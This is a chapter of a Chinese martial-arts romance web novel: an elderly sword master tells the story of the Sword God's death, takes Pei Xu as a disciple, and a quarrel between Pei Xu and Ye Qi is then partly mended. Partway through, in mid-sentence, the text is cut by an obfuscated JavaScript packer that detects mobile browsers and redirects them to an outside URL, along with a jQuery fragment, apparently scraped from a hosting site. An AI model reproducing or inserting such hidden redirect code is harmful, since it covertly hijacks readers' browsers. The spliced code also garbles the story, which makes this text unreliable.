清脆爽口的油菜,滑嫩鲜美的香菇,与醇厚的酱汁完美结合,让人回味无穷。
吃一口香菇油菜,再来块酸甜适口,外酥里嫩的糖醋排骨,快活似神仙。
若是有酒就更好了。
上官名心中可惜,但手中筷子不停。虽然七老八十了,经不住牙口好,风卷残云般,不一会就把排骨吃完了。
叶起琢磨着如何开口的功夫,排骨已然消失无踪,顿时回过神,发出哀嚎:“我才吃一块!”
上官名继续扫荡着为数不多的香菇,吃得满嘴油光,哼笑道:
“谁叫你们心神不宁的,想问什么直接问,何时这般扭捏了。”
裴序还在犹豫,毕竟是江湖大前辈,心中再多疑问,也要细细想好措辞。
叶起可不管那么多,排骨没吃够心里有气,正愤愤地扒拉米饭,这话一听直接拍桌子:
“好!你到底为什么会剑神的剑法?还比宫必行的归鸿剑法多一式!”
上官名吃饱喝足瘫在床上,侧着身剔牙,啧啧摇头:“那可不是什么归鸿剑法,而是鸿羽归天剑。”
“宫丫头当年学的时候,确实只有十一式。”
叶起发现这人没有回答第一个问题,不由追问道:“剑神和你什么关系?”
听说这俩年轻的时候王不见王,可连宫必行都没学全的剑法,剑神会教给她?
她这性格绝不可能拜剑神为师,也不可能偷师。
将看家本领教给对方,江湖上只有十分亲密的夫妻……
“没关系。”上官名翻身坐起,义正言辞,一副两人谁也不认识谁的样子。
叶起放下饭碗,眯起眼睛,老家伙油盐不进啊。
她正准备再问,就听裴序突然出声道:“前辈,剑神是被谁害死的?”
叶起眼神微动,三十年前,剑神凭着一柄龙吟剑,纵横江湖再无敌手,可以说是独步武林。
结果有一天突然传出他的死讯,龙吟剑也就此消失,下落不明。
当时只有刀鬼能与之抗衡,可那时的两人只是勉强打个平手,遑论能杀了他。
而且刀鬼不久就隐退渭水,再不参与江湖纷争。
所以渐渐便有人猜测,一定是有小人暗害。
因为剑神成名后,便开始有传闻“得龙吟者,得江湖”
有鬼迷心窍的,肯定会为了神剑,不择手段。
明枪易躲暗箭难防,江湖人人叹惜,一代传奇因为一把剑,死得真憋屈。
上官名顿了顿,在两人几乎以为她不会回答的时候,淡淡道:“我。”
叶起更困惑了,这俩不是相好?
“我之前说过,长相守若是死了一个,便能解开。”
“他就是这么死的。”
上官名平静地说完,仿佛又听到那人的笑。
【上官,这蛊真不错,咱们也别去麻烦小丰。】
【反正快要成亲了。】
她那时怎么回答的?
【不要,影响我练刀。】
“老家伙,够厉害的啊,能杀了剑神。”
叶起想当然以为刀鬼和剑神为了解蛊,夫妻反目,互相厮杀,终于死了一个。
那时上官名还不到四十吧?果然实力强横。
裴序的眼底闪过无奈,转头望着有些忧伤的上官名,试探道:
“前辈,您说过的薛沐剑,可是剑神?”
进入洞中的第一天,两人一直隐藏得很好,最后因为长相守,才被上官名发现。
他还记得当时她未说完的话:
如此寸步不离,最多只离开对方三尺。想当年我和薛沐剑只有……
“小崽子是比笨丫头机灵些。”
上官名叹了句。
叶起顾不上反驳她,心里暗想,原来剑神的名字其实也和凡人差不多嘛。
他的各种传说在江湖上流传甚广,可真正的名字,早已被人遗忘。
说起他只有那两个字:剑神。
叶起想到这,心情有些奇怪。
赋予神名的称号,和一个普通的名字。
不知道薛沐剑自己,想要留下的是什么呢。
叶起发着呆,脚边裙摆处,凤羽栩栩如生。
裴序的目光停留在那嫁衣上良久,心中浮现一个猜测,轻声道:
“薛前辈是……自裁而亡?”
上官名从石床跳下来,五指微张杀猪刀便出现手中。
“过于机灵,就未必是好事。”
她说完裴序立即称是,再不多言。
上官名抬了抬下巴,笑道:“拿剑吧,教完你还要教小兔崽子剑法。”
叶起还在琢磨两人对话透露的信息,一听这人又要来收别人徒儿为徒那套,急忙拦在裴序身前。
“哎老家伙,你怎么总逼别人拜……”
身后‘噗通’一声,裴序的声音还是那么清冷,但十分郑重。
“师傅在上,请受徒儿一拜。”
叶起呆呆地回过身,不是,姓裴的跪得是真快啊,她话还没说完呢。
她虽然宁死不愿拜师,但知道每人选择不同。裴序那天既然支持她,她肯定也不会说出扫兴的话。
但见他直起身来,马上就要露出那双斜飞的凤眸,叶起又急忙别开脸。
自从上午见过那种嫌恶的眼神后,她就总是下意识地避开这人的目光。
真奇怪,定是为了忍住不去揍他。
“哈哈哈哈,小崽子,这可是你自己要跪,我可没逼你。”
上官名挑衅地说道,叶起白了她一眼,看给这老家伙得意的。
裴序站起身,心想,竟然阴差阳错和缺心眼成了同门。
他唇角微扬,刚想调侃两句,年长者应当做师兄。
但那人的目光触电般移开。
就像怕沾染什么脏东西一样,避之不及
‘轰’地一声,裴序脑海霎时间一片空白,手脚发木,不由攥紧成拳。
痛意从掌心蔓延,唇角的浅笑弯成讥讽的弧度。
“是晚辈仰慕剑神风采,有幸得您指点,自当感激,定不会不知好歹。”
他许久没有阴阳怪气,叶起一开始没有反应过来。
等上官名将他俩的蛊压制后,那句‘不知好歹’才在脑海不断回响。
姓裴的……是在说她?
叶起茫然地望着那人。
他虚心求教,满脸郑重,遇到不解的地方,眉心紧锁询问上官名,得到解答后又舒展开。
是她从未见过的认真。
剑神的武功,谁不想学?
就像刀鬼的刀法。
他跪得那么快,定认为她那天十分矫揉造作吧。
看来之前的眼神也不是作伪,这人真是打心里瞧不起她。
越想越明白,叶起冷笑一声,大步流星走得远远的,开始练刀。
“刻舟剑法,过于追求精准和守势,拘泥于规则。”上官名脸色认真,说完又似笑非笑,“虽然你行事看似一板一眼,克己守礼,实则天性孤傲。薛沐剑这套剑法,剑招灵动万变,剑意如孤鸿独行,比刻舟剑法更适合你。”
裴序眼眸微亮,诚挚道:“多谢前辈指点。”
“怎么?不叫师傅?”
他错愕地抬起头,上官名笑声愉悦:
“小崽子,我这可没江湖上那些臭规矩。一切随心,何必在乎他人看法?你和小兔崽子,都是我上官名亲自认的徒儿。”
裴序忙抱剑拱手,眼中微热,轻声道:“是,师傅。”
“所以让着点你那犟驴师姐。”
她说得轻快,裴序立时想到自己方才的口不择言,低声回了句“徒儿明白”
就在这时,耳边突然传来一声冷笑。
裴序倏地转过头,就看到那人不屑一顾的背影。
他眸色渐冷,忽略心口的堵塞,温声道:“请师傅赐教。”
……
上官名觉得自己可能不适合收徒。
因为每次收徒后,洞内就开始沉默起来。
不过这次比上回好些,两人该吃吃该喝喝,涉及日常的交流也正常。
但因为早就培养了同进同出的默契,所以这交流,也几乎没有。
这种诡异的沉默,持续了很多天。
于是上官名决定,早点睡觉。
毕竟上次就是她去睡觉了,崽子们才互诉衷肠。
年轻人,真是不懂珍惜啊。
老婆子摇着头,慢慢歪倒在床上。
……
今夜无风无星,只有一轮弯月。
洞内安静,月华如水。
这些天一个练刀一个练剑,之前的对练,谁也没再提起。
叶起闭眼打坐,打算再悟悟日尽天涯,就去睡觉。
以静制动,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250167|165803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
顺势而为,无眼胜有眼……
“鸿羽归天剑我已练到最后一式。”
叶起心下烦躁,但还是睁开眼,不知这人打算说什么。
裴序眼神冷淡,面无表情道:“明日我有个计划,未必不能出去。”
“毕竟你我练的,是剑神和刀鬼的武功。”
叶起轻嗤一声,真不愧是他,原来从开始就这么打算的,所以跪得痛快。
上官名教他那么尽心,对他比对自己温柔多了。
却难为他,老家伙都睡着了,还这般假惺惺地喊着‘师傅’。
真不知亏不亏心。
她突然同情起上官名,也同情以为能和裴序做朋友的自己。
原来只有鄙夷眼神,才是真情流露。
想到这,叶起控制不住笑出声。
裴序眯起眼睛,也跟着笑,轻声道:“真是委屈叶少侠,和我这种人联手。”
叶起懒于应对他的阴阳怪气,平静道:“你有什么话直接说不行吗?”
想到此人的视而不见,裴序压着邪火,嗤笑道:“叶少侠既然瞧不起我,我又何必多说。”
叶起烦躁地抓了把头发,站起身就想走。
可又觉得这样就是在承认他的话似的,更加心烦意乱。
抿了抿嘴,最后瞪着眼,狠狠道:
“明明是你瞧不起我,真会倒打一耙。”
她眼中的控诉和冷意太过强烈,裴序微愣,脱口而出道:“我何时瞧不起你了?”
叶起看着他,想着这张脸真是具有欺骗性,明明恶言在先,还能装得这么无辜。
“不知好歹是不是你说的?朋友之间会说这种话吗?”
她目光灼灼,眼眸澄澈如水。
裴序慌乱地移开视线。
话是他说的,已经收不回来,可她爽朗的声音突然在脑海回响。
【如果是朋友,这种事就更谈不上谁欠谁。】
【咱俩结拜,我要当老大!】
声音渐远,取而代之的是这些天,她避而不见的眼神。
像一根针扎进了掌心。
裴序攥紧拳,仿佛要将针拔出来,这样痛意才会消散。
看不上彼此的,也算朋友?
他深吸一口气,讥讽道:
“你认为我膝盖软,遇强便跪,那便直说。不必拿朋友来压人。”
叶起震惊地看着他,只觉得这人真是信口雌黄,不由气愤道:
“我怎么就认为你膝盖软了!你说不过就闭嘴,别胡乱给人扣帽子!”
“我跪上官名时,你为何避开?”
裴序话刚出口才意识到竟将心声说了出来,脸色微变,掉头就要走。
何必自取其辱。
叶起想过他又会怎样强词夺理,也等着再受一回冷嘲热讽,早做好吵不过就揍人的准备,手都按在刀上了。
结果被这句话问得直发怔。
姓裴的以为她这样是瞧不起他?
见那人转身要走,叶起回过神,连忙扯住他的衣袖,急声道:“我才没有!我那是……那是……”
她结结巴巴,莫名其妙出现的自尊心就像棉花,堵住了喉咙。
原来是她的错,既然当人家是朋友,为什么不直接说:姓裴的你以后别那样看我。
平白让两人误会。
裴序被拉住,眼瞳微微放大,但过了片刻身后的人还是说不出话来。
他自嘲地笑了笑,真是难为她,还愿意扯谎来粉饰太平。
他扯了扯衣袖,没扯开,越发觉得没意思,于是疲惫地闭上眼睛。
“其实都无所谓,等出去后……”
“是因为……因为你说我愚蠢至极,不配用……”
她像是鼓起勇气,只是说到最后,声音越来越小。
裴序倏然转过身,薄唇抿成一条直线:“你明知我那是激将法。”
叶起偏过头,躲开他的目光,咬着牙道:
“所以很奇怪啊。我明明知道,但就是……就是不想你那么看我。”
她说完有些泄气,这样说不就是在承认自己连死对头的眼神都害怕吗?
叶起抿紧唇,眼尾透着浓浓的懊恼。
裴序怔了怔,对战时的奇怪,这几天的避而不视,都和她垂下眼的动作重合。
‘扑通’
他清晰地听见,自己心跳的声音。